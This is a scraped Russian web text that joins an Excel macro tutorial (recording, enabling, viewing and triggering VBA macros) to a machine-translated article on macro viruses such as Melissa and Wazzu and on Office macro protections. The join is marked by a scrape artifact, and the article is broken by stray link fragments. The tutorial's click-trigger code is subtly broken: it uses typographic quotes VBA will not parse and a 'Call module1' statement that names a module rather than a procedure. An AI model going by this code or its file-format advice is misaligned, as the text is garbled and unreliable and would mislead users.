Создание начинается с меню «Вид». В нем нужно выбрать позицию «Макросы» и команду «Записать Макрос». Далее нужно задать имя без пробелов, например, «Format» (если код будет отвечать за изменение формата текста или ячеек).
После чего все ваши действия будут автоматически записаны и преобразованы в код макроса. Снизу в документе появится кнопка с небольшим квадратом («Стоп»), нажатием на которую вы сможете остановить запись. Так можно автоматически записать в Excel макросы, примеры которых вы сможете разбирать дальше в процессе обучения.
Как включить макросы в Excel
Для того чтобы включить записанный макрос в других документах, необходимо сохранить его, предварительно очистив таблицу. Формат документа нужно задать как XLTM (именно он поддерживает макросы).
При последующем обращении к документу, чтобы включить в Excel макросы, необходимо сначала разрешить их использование во всплывающей верхней строке. Затем нужно импортировать данные, которые будут редактироваться макросом из обычной таблицы формата CSV. По окончании импорта необходимо снова обратиться к меню «Вид», выбрать там «Макросы» и найти в списке имя сделанного вами кода. В конце нажмите кнопку «Выполнить». После чего вы увидите, как программа по заданному вами ранее алгоритму выполняет расчеты и форматирование документа.
Как увидеть программный код макроса?
Все созданные в Excel макросы пишутся автоматически, без участия человека. Программа самостоятельно составляет программный код, который можно открыть из таблицы вызовом при помощи меню.
Для этого нужно последовательно выполнить команды:
• развернуть вкладку «Вид»;
• открыть «Макросы»;
• выбрать имя необходимого макроса;
• вызывать окно с его кодом при помощи кнопки «Изменить».
В новом диалоговом окне можно провести редактирование и изменение макроса. Вы увидите там код, который программа записала автоматически, и сможете добавить вручную любое действие. После сохранения информации при импорте новых данных макрос будет работать иначе.
Как начать работу макроса по клику на ячейку
Допустим, вы хотите, чтобы при выделении ячейки А1 запускалась работа макроса. Чтобы выбранная в Excel ячейка макрос запускала, необходимо в первый модуль добавить программный код:
Private Sub Worksheet_SelectionChange(ByVal Target As Range)
If Target.Address = «$A$1» Then: Call module1
End Sub
Лучше всего поможет изучить вам макросы в Excel самоучитель. Там есть не один подобный пример, и для тех, кто только знакомится со всеми возможностями таблицы, это лучший способ научиться полностью задействовать ее функционал.
Где можно научиться работать с макросами
Есть несколько способов научиться созданию более сложных макросов. Они должны отличаться логикой и четко настроенной последовательностью действий. Создаются такие макросы только путем написания кода VBA вручную. Для создания сложных макросов вам потребуется затратить некоторое время на изучения тонкостей языка программирования Visual Basik.
Сейчас для изучения всех возможностей Excel создано немало специальных курсов, которые идут по несколько недель, но вам потребуется для их посещения выезжать в учебный центр или присутствовать на вебинарах (что не всегда удобно из-за разницы во времени). Но более действенный и простой способ научиться создавать макросы в Excel – самоучитель с примерами. Вы можете заниматься по нему в любое удобное для вас время, а пошаговые учебники помогут разрабатывать разные варианты: от самых простых кодов до наиболее сложных. Microsoft Excel — это универсальный табличный редактор, при помощи которого можно решить множество сложных задач.
Примеры
Существуют коды, которые позволяют добиться автоматизации различных задач. Итак, в качестве примера рассмотрим макрос вставки строки. Выглядит он следующим образом:
Sub Макрос1()
Rows(2).EntireRow.Insert
End Sub
НЕКЕШЕРОВАННЫЙ КОНТЕНТ
Документы Microsoft Office, содержащие встроенные макросы, могут быть опасными. Макросы — это, по сути, фрагменты компьютерного кода, и исторически они были средством распространения вредоносных программ. К счастью, современные версии Office содержат функции безопасности, которые защитят вас от макросов.
Макросы по-прежнему потенциально опасны. Но, как лев в зоопарке, вам придется изо всех сил стараться, чтобы они вас обидели. Пока вы не обойдете встроенные функции безопасности, вам не о чем беспокоиться.
Что такое макрос?
СВЯЗАННЫЕ С:
Узнайте, как использовать макросы Excel для автоматизации утомительных задач
Документы Microsoft Office — Word, Excel, PowerPoint и другие типы документов — могут содержать встроенный код, написанный на языке программирования, известном как Visual Basic для приложений (VBA).
Вы можете записывать собственные макросы с помощью встроенного средства записи макросов. Это позволяет автоматизировать повторяющиеся задачи — в будущем вы сможете повторять записанные действия, запустив макрос. следить
наше руководство по созданию макросов Excel
Чтобы получить больше информации. Макросы, которые вы создали сами, хороши и не представляют угрозы для безопасности.
Однако злоумышленники могут написать код VBA для создания вредоносных макросов. Затем они могли встроить эти макросы в документы Office и распространить их в Интернете.
Почему макросы могут делать потенциально опасные вещи?
Вы можете предположить, что язык программирования, предназначенный для автоматизации задач в пакете Office, будет довольно безвредным, но ошиблись. Например, макросы могут использовать команду VBA SHELL для запуска произвольных команд и программ или использовать команду VBA KILL для удаления файлов на жестком диске.
После того, как вредоносный макрос загружается в приложение Office, например Word, через зараженный документ, он может использовать такие функции, как «AutoExec» для автоматического запуска с Word или «AutoOpen» для автоматического запуска при каждом открытии документа. Таким образом, макровирус может интегрироваться в Word, заражая будущие документы.
Вы можете задаться вопросом, почему такое вредоносное поведение возможно даже с пакетом Office. Макросы VBA были добавлены в Office в 90-х годах, в то время, когда Microsoft не относилась серьезно к безопасности и до того, как Интернет принес домой угрозу вредоносных макросов. Макросы и код VBA не были предназначены для обеспечения безопасности, как и
Технология Microsoft ActiveX
а также
многие функции Adobe PDF Reader
.
СВЯЗАННЫЕ С:
Что такое элементы управления ActiveX и почему они опасны
Макровирусы в действии
Как и следовало ожидать, авторы вредоносных программ воспользовались такой незащищенностью в Microsoft Office для создания вредоносных программ. Одним из наиболее известных является вирус Melissa с 1999 года. Он распространялся как документ Word, содержащий макровирус. При открытии в Word 97 или Word 2000 макрос выполнялся, собирал первые 50 записей в адресной книге пользователя и отправлял им копию зараженного макросом документа Word через Microsoft Outlook. Многие получатели открывали зараженный документ, и цикл продолжался, забивая серверы электронной почты экспоненциально увеличивающимся количеством нежелательной почты.
Другие макровирусы вызывали проблемы другими способами — например, макровирус Wazzu заразил документы Word и подделал их, периодически перемещая слова внутри документа.
С этими макросами было гораздо больше проблем, когда Office доверял макросам и загружал их по умолчанию. Больше не работает.
Как Microsoft Office защищает от макровирусов
К счастью,
Microsoft со временем всерьез занялась безопасностью
. В Office 2003 добавлена функция уровня безопасности макросов. По умолчанию могут выполняться только макросы, подписанные доверенным сертификатом.
Современные версии Microsoft Office еще более строгие. Office 2013 настроен на отключение всех макросов по умолчанию с уведомлением о том, что запуск макроса запрещен.
СВЯЗАННЫЕ С:
Более 50 расширений файлов, потенциально опасных в Windows
Начиная с Office 2007, макросы также намного проще обнаруживать. По умолчанию стандартные документы Office сохраняются с суффиксом «x». Например, .docx, .xlsx и .pptx для документов Word, Excel и PowerPoint. Документы с такими расширениями файлов не могут содержать макросы. Только документы с
расширение файла
заканчивающиеся на «m» — то есть .docm, .xlsm и .pptm — могут содержать макросы.
Как защитить себя
Чтобы действительно заразиться, вам нужно будет загрузить файл, содержащий вредоносный макрос, и изо всех сил отключать встроенные функции безопасности Office. В результате макровирусы стали намного реже.
Вот все, что вам нужно сделать: запускать макросы от людей или организаций, которым вы доверяете, только при наличии веских причин для этого. Не отключайте встроенные функции защиты от макросов.
Макросы похожи на любую другую компьютерную программу и могут использоваться как во благо, так и во вред. Организации могут использовать макросы для более эффективных действий с Office, или вы можете создавать макросы для автоматизации повторяющихся задач самостоятельно. Но, как и любую другую компьютерную программу, вам следует запускать макросы только из источников, которым вы доверяете.